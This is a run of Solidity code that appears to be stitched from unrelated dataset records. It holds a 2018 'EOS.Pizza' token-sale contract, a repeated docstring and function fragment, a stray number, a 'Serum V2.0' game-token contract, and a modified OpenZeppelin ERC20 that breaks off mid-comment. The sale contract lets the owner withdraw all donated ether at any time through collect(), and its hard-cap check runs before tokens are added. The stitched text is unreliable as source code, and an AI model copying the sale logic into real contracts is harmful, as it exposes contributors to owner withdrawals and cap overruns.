pragma solidity ^0.4.18; /** * * I N P I Z Z A W E C R U S T * * ______ ____ _____ _____ _ * | ____/ __ \ / ____| | __ (_) * | |__ | | | | (___ | |__) | __________ _ * | __|| | | |\___ \ | ___/ |_ /_ / _` | * | |___| |__| |____) | _ | | | |/ / / / (_| | * |______\____/|_____/ (_) |_| |_/___/___\__,_| * * * * CHECK HTTPS://EOS.PIZZA ON HOW TO GET YOUR SLICE * END: 18 MAY 2018 * * This is for the fun. Thank you token factory for your smart contract inspiration. * Jummy & crusty. Get your πŸ•EPS while it's hot. * * https://eos.pizza * * **/ // File: contracts\configs\EosPizzaSliceConfig.sol /** * @title EosPizzaSliceConfig * * @dev The static configuration for the EOS Pizza Slice. */ contract EosPizzaSliceConfig { // The name of the token. string constant NAME = "EOS.Pizza"; // The symbol of the token. string constant SYMBOL = "EPS"; // The number of decimals for the token. uint8 constant DECIMALS = 18; // Same as ethers. // Decimal factor for multiplication purposes. uint constant DECIMALS_FACTOR = 10 ** uint(DECIMALS); } // File: contracts\interfaces\ERC20TokenInterface.sol /** * @dev The standard ERC20 Token interface. */ contract ERC20TokenInterface { uint public totalSupply; /* shorthand for public function and a property */ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function balanceOf(address _owner) public constant returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint remaining); } // File: contracts\libraries\SafeMath.sol /** * @dev Library that helps prevent integer overflows and underflows, * inspired by https://github.com/OpenZeppelin/zeppelin-solidity */ library SafeMath { function plus(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function minus(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } } // File: contracts\traits\ERC20Token.sol /** * @title ERC20Token * * @dev Implements the operations declared in the `ERC20TokenInterface`. */ contract ERC20Token is ERC20TokenInterface { using SafeMath for uint; // Token account balances. mapping (address => uint) balances; // Delegated number of tokens to transfer. mapping (address => mapping (address => uint)) allowed; /** * @dev Checks the balance of a certain address. * * @param _account The address which's balance will be checked. * * @return Returns the balance of the `_account` address. */ function balanceOf(address _account) public constant returns (uint balance) { return balances[_account]; } /** * @dev Transfers tokens from one address to another. * * @param _to The target address to which the `_value` number of tokens will be sent. * @param _value The number of tokens to send. * * @return Whether the transfer was successful or not. */ function transfer(address _to, uint _value) public returns (bool success) { if (balances[msg.sender] < _value || _value == 0) { return false; } balances[msg.sender] -= _value; balances[_to] = balances[_to].plus(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Send `_value` tokens to `_to` from `_from` if `_from` has approved the process. * * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The number of tokens to be transferred. * * @return Whether the transfer was successful or not. */ function transferFrom(address _from, address _to, uint _value) public returns (bool success) { if (balances[_from] < _value || allowed[_from][msg.sender] < _value || _value == 0) { return false; } balances[_to] = balances[_to].plus(_value); balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } /** * @dev Allows another contract to spend some tokens on your behalf. * * @param _spender The address of the account which will be approved for transfer of tokens. * @param _value The number of tokens to be approved for transfer. * * @return Whether the approval was successful or not. */ function approve(address _spender, uint _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Shows the number of tokens approved by `_owner` that are allowed to be transferred by `_spender`. * * @param _owner The account which allowed the transfer. * @param _spender The account which will spend the tokens. * * @return The number of tokens to be transferred. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } // File: contracts\traits\HasOwner.sol /** * @title HasOwner * * @dev Allows for exclusive access to certain functionality. */ contract HasOwner { // Current owner. address public owner; // Conditionally the new owner. address public newOwner; /** * @dev The constructor. * * @param _owner The address of the owner. */ function HasOwner(address _owner) internal { owner = _owner; } /** * @dev Access control modifier that allows only the current owner to call the function. */ modifier onlyOwner { require(msg.sender == owner); _; } /** * @dev The event is fired when the current owner is changed. * * @param _oldOwner The address of the previous owner. * @param _newOwner The address of the new owner. */ event OwnershipTransfer(address indexed _oldOwner, address indexed _newOwner); /** * @dev Transfering the ownership is a two-step process, as we prepare * for the transfer by setting `newOwner` and requiring `newOwner` to accept * the transfer. This prevents accidental lock-out if something goes wrong * when passing the `newOwner` address. * * @param _newOwner The address of the proposed new owner. */ function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev The `newOwner` finishes the ownership transfer process by accepting the * ownership. */ function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransfer(owner, newOwner); owner = newOwner; } } // File: contracts\traits\Freezable.sol /** * @title Freezable * @dev This trait allows to freeze the transactions in a Token */ contract Freezable is HasOwner { bool public frozen = false; /** * @dev Modifier makes methods callable only when the contract is not frozen. */ modifier requireNotFrozen() { require(!frozen); _; } /** * @dev Allows the owner to "freeze" the contract. */ function freeze() onlyOwner public { frozen = true; } /** * @dev Allows the owner to "unfreeze" the contract. */ function unfreeze() onlyOwner public { frozen = false; } } // File: contracts\traits\FreezableERC20Token.sol /** * @title FreezableERC20Token * * @dev Extends ERC20Token and adds ability to freeze all transfers of tokens. */ contract FreezableERC20Token is ERC20Token, Freezable { /** * @dev Overrides the original ERC20Token implementation by adding whenNotFrozen modifier. * * @param _to The target address to which the `_value` number of tokens will be sent. * @param _value The number of tokens to send. * * @return Whether the transfer was successful or not. */ function transfer(address _to, uint _value) public requireNotFrozen returns (bool success) { return super.transfer(_to, _value); } /** * @dev Send `_value` tokens to `_to` from `_from` if `_from` has approved the process. * * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The number of tokens to be transferred. * * @return Whether the transfer was successful or not. */ function transferFrom(address _from, address _to, uint _value) public requireNotFrozen returns (bool success) { return super.transferFrom(_from, _to, _value); } /** * @dev Allows another contract to spend some tokens on your behalf. * * @param _spender The address of the account which will be approved for transfer of tokens. * @param _value The number of tokens to be approved for transfer. * * @return Whether the approval was successful or not. */ function approve(address _spender, uint _value) public requireNotFrozen returns (bool success) { return super.approve(_spender, _value); } } // File: contracts\EosPizzaSlice.sol /** * @title EOS Pizza Slice * * @dev A standard token implementation of the ERC20 token standard with added * HasOwner trait and initialized using the configuration constants. */ contract EosPizzaSlice is EosPizzaSliceConfig, HasOwner, FreezableERC20Token { // The name of the token. string public name; // The symbol for the token. string public symbol; // The decimals of the token. uint8 public decimals; /** * @dev The constructor. Initially sets `totalSupply` and the balance of the * `owner` address according to the initialization parameter. */ function EosPizzaSlice(uint _totalSupply) public HasOwner(msg.sender) { name = NAME; symbol = SYMBOL; decimals = DECIMALS; totalSupply = _totalSupply; balances[owner] = _totalSupply; } } // File: contracts\configs\EosPizzaSliceDonationraiserConfig.sol /** * @title EosPizzaSliceDonationraiserConfig * * @dev The static configuration for the EOS Pizza Slice donationraiser. */ contract EosPizzaSliceDonationraiserConfig is EosPizzaSliceConfig { // The number of πŸ• per 1 ETH. uint constant CONVERSION_RATE = 100000; // The public sale hard cap of the donationraiser. uint constant TOKENS_HARD_CAP = 95 * (10**7) * DECIMALS_FACTOR; // The start date of the donationraiser: Friday, 9 March 2018 21:22:22 UTC. uint constant START_DATE = 1520630542; // The end date of the donationraiser: May 18, 2018, 12:35:20 AM UTC - Bitcoin Pizza 8th year celebration moment. uint constant END_DATE = 1526603720; // Total number of tokens locked for the πŸ• core team. uint constant TOKENS_LOCKED_CORE_TEAM = 35 * (10**6) * DECIMALS_FACTOR; // Total number of tokens locked for πŸ• advisors. uint constant TOKENS_LOCKED_ADVISORS = 125 * (10**5) * DECIMALS_FACTOR; // The release date for tokens locked for the πŸ• core team. uint constant TOKENS_LOCKED_CORE_TEAM_RELEASE_DATE = END_DATE + 1 days; // The release date for tokens locked for πŸ• advisors. uint constant TOKENS_LOCKED_ADVISORS_RELEASE_DATE = END_DATE + 1 days; // Total number of tokens locked for bounty program. uint constant TOKENS_BOUNTY_PROGRAM = 25 * (10**5) * DECIMALS_FACTOR; // Maximum gas price limit uint constant MAX_GAS_PRICE = 90000000000 wei; // 90 gwei/shanon // Minimum individual contribution uint constant MIN_CONTRIBUTION = 0.05 ether; // Individual limit in ether uint constant INDIVIDUAL_ETHER_LIMIT = 4999 ether; } // File: contracts\traits\TokenSafe.sol /** * @title TokenSafe * * @dev A multi-bundle token safe contract that contains locked tokens released after a date for the specific bundle type. */ contract TokenSafe { using SafeMath for uint; struct AccountsBundle { // The total number of tokens locked. uint lockedTokens; // The release date for the locked tokens // Note: Unix timestamp fits uint32, however block.timestamp is uint uint releaseDate; // The balances for the πŸ• locked token accounts. mapping (address => uint) balances; } // The account bundles of locked tokens grouped by release date mapping (uint8 => AccountsBundle) public bundles; // The `ERC20TokenInterface` contract. ERC20TokenInterface token; /** * @dev The constructor. * * @param _token The address of the EOS Pizza Slices (donation) contract. */ function TokenSafe(address _token) public { token = ERC20TokenInterface(_token); } /** * @dev The function initializes the bundle of accounts with a release date. * * @param _type Bundle type. * @param _releaseDate Unix timestamp of the time after which the tokens can be released */ function initBundle(uint8 _type, uint _releaseDate) internal { bundles[_type].releaseDate = _releaseDate; } /** * @dev Add new account with locked token balance to the specified bundle type. * * @param _type Bundle type. * @param _account The address of the account to be added. * @param _balance The number of tokens to be locked. */ function addLockedAccount(uint8 _type, address _account, uint _balance) internal { var bundle = bundles[_type]; bundle.balances[_account] = bundle.balances[_account].plus(_balance); bundle.lockedTokens = bundle.lockedTokens.plus(_balance); } /** * @dev Allows an account to be released if it meets the time constraints. * * @param _type Bundle type. * @param _account The address of the account to be released. */ function releaseAccount(uint8 _type, address _account) internal { var bundle = bundles[_type]; require(now >= bundle.releaseDate); uint tokens = bundle.balances[_account]; require(tokens > 0); bundle.balances[_account] = 0; bundle.lockedTokens = bundle.lockedTokens.minus(tokens); if (!token.transfer(_account, tokens)) { revert(); } } } // File: contracts\EosPizzaSliceSafe.sol /** * @title EosPizzaSliceSafe * * @dev The EOS Pizza Slice safe containing all details about locked tokens. */ contract EosPizzaSliceSafe is TokenSafe, EosPizzaSliceDonationraiserConfig { // Bundle type constants uint8 constant CORE_TEAM = 0; uint8 constant ADVISORS = 1; /** * @dev The constructor. * * @param _token The address of the EOS Pizza (donation) contract. */ function EosPizzaSliceSafe(address _token) public TokenSafe(_token) { token = ERC20TokenInterface(_token); /// Core team. initBundle(CORE_TEAM, TOKENS_LOCKED_CORE_TEAM_RELEASE_DATE ); // Accounts with tokens locked for the πŸ• core team. addLockedAccount(CORE_TEAM, 0x3ce215b2e4dC9D2ba0e2fC5099315E4Fa05d8AA2, 35 * (10**6) * DECIMALS_FACTOR); // Verify that the tokens add up to the constant in the configuration. assert(bundles[CORE_TEAM].lockedTokens == TOKENS_LOCKED_CORE_TEAM); /// Advisors. initBundle(ADVISORS, TOKENS_LOCKED_ADVISORS_RELEASE_DATE ); // Accounts with πŸ• tokens locked for advisors. addLockedAccount(ADVISORS, 0xC0e321E9305c21b72F5Ee752A9E8D9eCD0f2e2b1, 25 * (10**5) * DECIMALS_FACTOR); addLockedAccount(ADVISORS, 0x55798CF234FEa760b0591537517C976FDb0c53Ba, 25 * (10**5) * DECIMALS_FACTOR); addLockedAccount(ADVISORS, 0xbc732e73B94A5C4a8f60d0D98C4026dF21D500f5, 25 * (10**5) * DECIMALS_FACTOR); addLockedAccount(ADVISORS, 0x088EEEe7C4c26041FBb4e83C10CB0784C81c86f9, 25 * (10**5) * DECIMALS_FACTOR); addLockedAccount(ADVISORS, 0x52d640c9c417D9b7E3770d960946Dd5Bd2EB63db, 25 * (10**5) * DECIMALS_FACTOR); // Verify that the tokens add up to the constant in the configuration. assert(bundles[ADVISORS].lockedTokens == TOKENS_LOCKED_ADVISORS); } /** * @dev Returns the total locked tokens. This function is called by the donationraiser to determine number of tokens to create upon finalization. * * @return The current total number of locked EOS Pizza Slices. */ function totalTokensLocked() public constant returns (uint) { return bundles[CORE_TEAM].lockedTokens.plus(bundles[ADVISORS].lockedTokens); } /** * @dev Allows core team account πŸ• tokens to be released. */ function releaseCoreTeamAccount() public { releaseAccount(CORE_TEAM, msg.sender); } /** * @dev Allows advisors account πŸ• tokens to be released. */ function releaseAdvisorsAccount() public { releaseAccount(ADVISORS, msg.sender); } } // File: contracts\traits\Whitelist.sol contract Whitelist is HasOwner { // Whitelist mapping mapping(address => bool) public whitelist; /** * @dev The constructor. */ function Whitelist(address _owner) public HasOwner(_owner) { } /** * @dev Access control modifier that allows only whitelisted address to call the method. */ modifier onlyWhitelisted { require(whitelist[msg.sender]); _; } /** * @dev Internal function that sets whitelist status in batch. * * @param _entries An array with the entries to be updated * @param _status The new status to apply */ function setWhitelistEntries(address[] _entries, bool _status) internal { for (uint32 i = 0; i < _entries.length; ++i) { whitelist[_entries[i]] = _status; } } /** * @dev Public function that allows the owner to whitelist multiple entries * * @param _entries An array with the entries to be whitelisted */ function whitelistAddresses(address[] _entries) public onlyOwner { setWhitelistEntries(_entries, true); } /** * @dev Public function that allows the owner to blacklist multiple entries * * @param _entries An array with the entries to be blacklist */ function blacklistAddresses(address[] _entries) public onlyOwner { setWhitelistEntries(_entries, false); } } // File: contracts\EosPizzaSliceDonationraiser.sol /** * @title EosPizzaSliceDonationraiser * * @dev The EOS Pizza Slice donationraiser contract. */ contract EosPizzaSliceDonationraiser is EosPizzaSlice, EosPizzaSliceDonationraiserConfig, Whitelist { // Indicates whether the donationraiser has ended or not. bool public finalized = false; // The address of the account which will receive the funds gathered by the donationraiser. address public beneficiary; // The number of πŸ• participants will receive per 1 ETH. uint public conversionRate; // Donationraiser start date. uint public startDate; // Donationraiser end date. uint public endDate; // Donationraiser tokens hard cap. uint public hardCap; // The `EosPizzaSliceSafe` contract. EosPizzaSliceSafe public eosPizzaSliceSafe; // The minimum amount of ether allowed in the public sale uint internal minimumContribution; // The maximum amount of ether allowed per address uint internal individualLimit; // Number of tokens sold during the donationraiser. uint private tokensSold; /** * @dev The event fires every time a new buyer enters the donationraiser. * * @param _address The address of the buyer. * @param _ethers The number of ethers sent. * @param _tokens The number of tokens received by the buyer. * @param _newTotalSupply The updated total number of tokens currently in circulation. * @param _conversionRate The conversion rate at which the tokens were bought. */ event FundsReceived(address indexed _address, uint _ethers, uint _tokens, uint _newTotalSupply, uint _conversionRate); /** * @dev The event fires when the beneficiary of the donationraiser is changed. * * @param _beneficiary The address of the new beneficiary. */ event BeneficiaryChange(address _beneficiary); /** * @dev The event fires when the number of πŸ•EPS per 1 ETH is changed. * * @param _conversionRate The new number of πŸ•EPS per 1 ETH. */ event ConversionRateChange(uint _conversionRate); /** * @dev The event fires when the donationraiser is successfully finalized. * * @param _beneficiary The address of the beneficiary. * @param _ethers The number of ethers transfered to the beneficiary. * @param _totalSupply The total number of tokens in circulation. */ event Finalized(address _beneficiary, uint _ethers, uint _totalSupply); /** * @dev The constructor. * * @param _beneficiary The address which will receive the funds gathered by the donationraiser. */ function EosPizzaSliceDonationraiser(address _beneficiary) public EosPizzaSlice(0) Whitelist(msg.sender) { require(_beneficiary != 0); beneficiary = _beneficiary; conversionRate = CONVERSION_RATE; startDate = START_DATE; endDate = END_DATE; hardCap = TOKENS_HARD_CAP; tokensSold = 0; minimumContribution = MIN_CONTRIBUTION; individualLimit = INDIVIDUAL_ETHER_LIMIT * CONVERSION_RATE; eosPizzaSliceSafe = new EosPizzaSliceSafe(this); // Freeze the transfers for the duration of the donationraiser. Removed this, you can immediately transfer your πŸ•EPS to any ether address you like! // freeze(); } /** * @dev Changes the beneficiary of the donationraiser. * * @param _beneficiary The address of the new beneficiary. */ function setBeneficiary(address _beneficiary) public onlyOwner { require(_beneficiary != 0); beneficiary = _beneficiary; BeneficiaryChange(_beneficiary); } /** * @dev Sets converstion rate of 1 ETH to πŸ•EPS. Can only be changed before the donationraiser starts. * * @param _conversionRate The new number of EOS Pizza Slices per 1 ETH. */ function setConversionRate(uint _conversionRate) public onlyOwner { require(now < startDate); require(_conversionRate > 0); conversionRate = _conversionRate; individualLimit = INDIVIDUAL_ETHER_LIMIT * _conversionRate; ConversionRateChange(_conversionRate); } /** * @dev The default function which will fire every time someone sends ethers to this contract's address. */ function() public payable { buyTokens(); } /** * @dev Creates new tokens based on the number of ethers sent and the conversion rate. */ //function buyTokens() public payable onlyWhitelisted { function buyTokens() public payable { require(!finalized); require(now >= startDate); require(now <= endDate); require(tx.gasprice <= MAX_GAS_PRICE); // gas price limit require(msg.value >= minimumContribution); // required minimum contribution require(tokensSold <= hardCap); // Calculate the number of tokens the buyer will receive. uint tokens = msg.value.mul(conversionRate); balances[msg.sender] = balances[msg.sender].plus(tokens); // Ensure that the individual contribution limit has not been reached require(balances[msg.sender] <= individualLimit); tokensSold = tokensSold.plus(tokens); totalSupply = totalSupply.plus(tokens); Transfer(0x0, msg.sender, tokens); FundsReceived( msg.sender, msg.value, tokens, totalSupply, conversionRate ); } /** * @dev Finalize the donationraiser if `endDate` has passed or if `hardCap` is reached. */ function finalize() public onlyOwner { require((totalSupply >= hardCap) || (now >= endDate)); require(!finalized); address contractAddress = this; Finalized(beneficiary, contractAddress.balance, totalSupply); /// Send the total number of ETH gathered to the beneficiary. beneficiary.transfer(contractAddress.balance); /// Allocate locked tokens to the `EosPizzaSliceSafe` contract. uint totalTokensLocked = eosPizzaSliceSafe.totalTokensLocked(); balances[address(eosPizzaSliceSafe)] = balances[address(eosPizzaSliceSafe)].plus(totalTokensLocked); totalSupply = totalSupply.plus(totalTokensLocked); // Transfer the funds for the bounty program. balances[owner] = balances[owner].plus(TOKENS_BOUNTY_PROGRAM); totalSupply = totalSupply.plus(TOKENS_BOUNTY_PROGRAM); /// Finalize the donationraiser. Keep in mind that this cannot be undone. finalized = true; // Unfreeze transfers unfreeze(); } /** * @dev allow owner to collect balance of contract during donation period */ function collect() public onlyOwner { address contractAddress = this; /// Send the total number of ETH gathered to the beneficiary. beneficiary.transfer(contractAddress.balance); } }
The function initializes the bundle of accounts with a release date. _type Bundle type. _releaseDate Unix timestamp of the time after which the tokens can be released/
function initBundle(uint8 _type, uint _releaseDate) internal { bundles[_type].releaseDate = _releaseDate; }
12,150,780
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "./openzeppelin/token/ERC20/ERC20Upgradeable.sol"; import "./openzeppelin/access/AccessControlUpgradeable.sol"; import "./openzeppelin/security/PausableUpgradeable.sol"; import "./interface/IClaimable.sol"; import "./interface/ILabGame.sol"; error NotReady(); error NotOwned(address _account, uint256 _tokenId); error NotAuthorized(address _sender, address _expected); // Serum V2.0 contract Serum is ERC20Upgradeable, AccessControlUpgradeable, PausableUpgradeable, IClaimable { bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE"); uint256 constant GEN0_RATE = 1000 ether; uint256 constant GEN1_RATE = 1200 ether; uint256 constant GEN2_RATE = 1500 ether; uint256 constant GEN3_RATE = 2000 ether; uint256 constant GEN0_TAX = 100; // 10.0% uint256 constant GEN1_TAX = 125; // 12.5% uint256 constant GEN2_TAX = 150; // 15.0% uint256 constant GEN3_TAX = 200; // 20.0% uint256 constant CLAIM_PERIOD = 1 days; uint256 constant TOTAL_SUPPLY = 277750000 ether; // @since V2.0 mapping(uint256 => uint256) public tokenClaims; // tokenId => value uint256[4] mutantEarnings; uint256[4] mutantCounts; mapping(address => uint256) public pendingClaims; ILabGame public labGame; /** * Token constructor, sets owner permission * @param _name ERC20 token name * @param _symbol ERC20 token symbol */ function initialize( string memory _name, string memory _symbol ) public initializer { __ERC20_init(_name, _symbol); __AccessControl_init(); __Pausable_init(); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } // -- EXTERNAL -- /** * Claim rewards for owned tokens */ function claim() external override whenNotPaused { uint256 totalSerum = totalSupply(); if (totalSerum >= TOTAL_SUPPLY) revert NoClaimAvailable(_msgSender()); uint256 count = labGame.balanceOf(_msgSender()); uint256 amount; // Iterate wallet for scientists for (uint256 i; i < count; i++) { uint256 tokenId = labGame.tokenOfOwnerByIndex(_msgSender(), i); uint256 token = labGame.getToken(tokenId); amount += _claimScientist(tokenId, token & 3); } // Pay mutant tax amount = _payTax(amount); // Iterate wallet for mutants for (uint256 i; i < count; i++) { uint256 tokenId = labGame.tokenOfOwnerByIndex(_msgSender(), i); uint256 token = labGame.getToken(tokenId); if (token & 128 != 0) amount += _claimMutant(tokenId, token & 3); } // Include pending claim balance amount += pendingClaims[_msgSender()]; delete pendingClaims[_msgSender()]; // Verify amount and mint if (totalSerum + amount > TOTAL_SUPPLY) amount = TOTAL_SUPPLY - totalSerum; if (amount == 0) revert NoClaimAvailable(_msgSender()); _mint(_msgSender(), amount); emit Claimed(_msgSender(), amount); } /** * Calculate pending claim * @param _account Account to query pending claim for * @return amount Amount of claimable serum */ function pendingClaim(address _account) external view override returns (uint256 amount) { uint256 count = labGame.balanceOf(_account); uint256 untaxed; for (uint256 i; i < count; i++) { uint256 tokenId = labGame.tokenOfOwnerByIndex(_account, i); uint256 token = labGame.getToken(tokenId); if (token & 128 != 0) amount += mutantEarnings[token & 3] - tokenClaims[tokenId]; else untaxed += (block.timestamp - tokenClaims[tokenId]) * [ GEN0_RATE, GEN1_RATE, GEN2_RATE, GEN3_RATE ][token & 3] / CLAIM_PERIOD; } amount += _pendingTax(untaxed); amount += pendingClaims[_account]; } // -- LABGAME -- modifier onlyLabGame { if (address(labGame) == address(0)) revert NotReady(); if (_msgSender() != address(labGame)) revert NotAuthorized(_msgSender(), address(labGame)); _; } /** * Setup the intial value for a new token * @param _tokenId ID of the token */ function initializeClaim(uint256 _tokenId) external override onlyLabGame whenNotPaused { uint256 token = labGame.getToken(_tokenId); if (token & 128 != 0) { tokenClaims[_tokenId] = mutantEarnings[token & 3]; mutantCounts[token & 3]++; } else { tokenClaims[_tokenId] = block.timestamp; } } /** * Claim token and save in owners pending balance before token transfer * @param _account Owner of token * @param _tokenId Token ID */ function updateClaim(address _account, uint256 _tokenId) external override onlyLabGame whenNotPaused { // Verify ownership if (_account != labGame.ownerOf(_tokenId)) revert NotOwned(_msgSender(), _tokenId); uint256 amount; // Claim the token uint256 token = labGame.getToken(_tokenId); if ((token & 128) != 0) { amount = _claimMutant(_tokenId, token & 3); } else { amount = _claimScientist(_tokenId, token & 3); amount = _payTax(amount); } // Save to pending balance pendingClaims[_account] += amount; emit Updated(_account, _tokenId); } // -- INTERNAL -- /** * Claim scientist token rewards * @param _tokenId ID of the token * @param _generation Generation of the token * @return amount Amount of serum/blueprints for this token */ function _claimScientist(uint256 _tokenId, uint256 _generation) internal returns (uint256 amount) { amount = (block.timestamp - tokenClaims[_tokenId]) * [ GEN0_RATE, GEN1_RATE, GEN2_RATE, GEN3_RATE ][_generation] / CLAIM_PERIOD; tokenClaims[_tokenId] = block.timestamp; } /** * Claim mutant token rewards * @param _tokenId ID of the token * @param _generation Generation of the token * @return amount Amount of serum for this token */ function _claimMutant(uint256 _tokenId, uint256 _generation) internal returns (uint256 amount) { amount = (mutantEarnings[_generation] - tokenClaims[_tokenId]); tokenClaims[_tokenId] = mutantEarnings[_generation]; } /** * Pay mutant tax for an amount of serum * @param _amount Untaxed amount * @return Amount after tax */ function _payTax(uint256 _amount) internal returns (uint256) { uint256 amount = _amount; for (uint256 i; i < 4; i++) { uint256 mutantCount = mutantCounts[i]; if (mutantCount == 0) continue; uint256 tax = _amount * [ GEN0_TAX, GEN1_TAX, GEN2_TAX, GEN3_TAX ][i] / 1000; mutantEarnings[i] += tax / mutantCount; amount -= tax; } return amount; } /** * Calculates the tax for a pending claim amount * @param _amount Untaxed amount * @return Amount after tax */ function _pendingTax(uint256 _amount) internal view returns (uint256) { for (uint256 i; i < 4; i++) { uint256 mutantCount = mutantCounts[i]; if (mutantCount == 0) continue; uint256 tax = _amount * [ GEN0_TAX, GEN1_TAX, GEN2_TAX, GEN3_TAX ][i] / 1000; _amount -= tax; } return _amount; } // -- CONTROLLER -- /** * Mint tokens to an address * @param _to address to mint to * @param _amount number of tokens to mint */ function mint(address _to, uint256 _amount) external whenNotPaused onlyRole(CONTROLLER_ROLE) { _mint(_to, _amount); } /** * Burn tokens from an address * @param _from address to burn from * @param _amount number of tokens to burn */ function burn(address _from, uint256 _amount) external whenNotPaused onlyRole(CONTROLLER_ROLE) { _burn(_from, _amount); } // -- ADMIN -- /** * Set LabGame contract * @param _labGame Address of labgame contract */ function setLabGame(address _labGame) external onlyRole(DEFAULT_ADMIN_ROLE) { labGame = ILabGame(_labGame); } /** * Add address as a controller * @param _controller controller address */ function addController(address _controller) external onlyRole(DEFAULT_ADMIN_ROLE) { grantRole(CONTROLLER_ROLE, _controller); } /** * Remove address as a controller * @param _controller controller address */ function removeController(address _controller) external onlyRole(DEFAULT_ADMIN_ROLE) { revokeRole(CONTROLLER_ROLE, _controller); } /** * Pause the contract */ function pause() external onlyRole(DEFAULT_ADMIN_ROLE) { _pause(); } /** * Unpause the contract */ function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) { _unpause(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ error ERC20_DecreasedAllowanceBelowZero(); error ERC20_TransferFromZeroAddress(); error ERC20_TransferToZeroAddress(); error ERC20_TransferAmountExceedsBalance(uint256 amount, uint256 balance); error ERC20_MintToZeroAddress(); error ERC20_BurnFromZeroAddress(); error ERC20_BurnAmountExceedsBalance(uint256 amount, uint256 balance); error ERC20_ApproveFromZeroAddress(); error ERC20_ApproveToZeroAddress(); error ERC20_InsufficientAllowance(uint256 amount, uint256 allowance); contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero 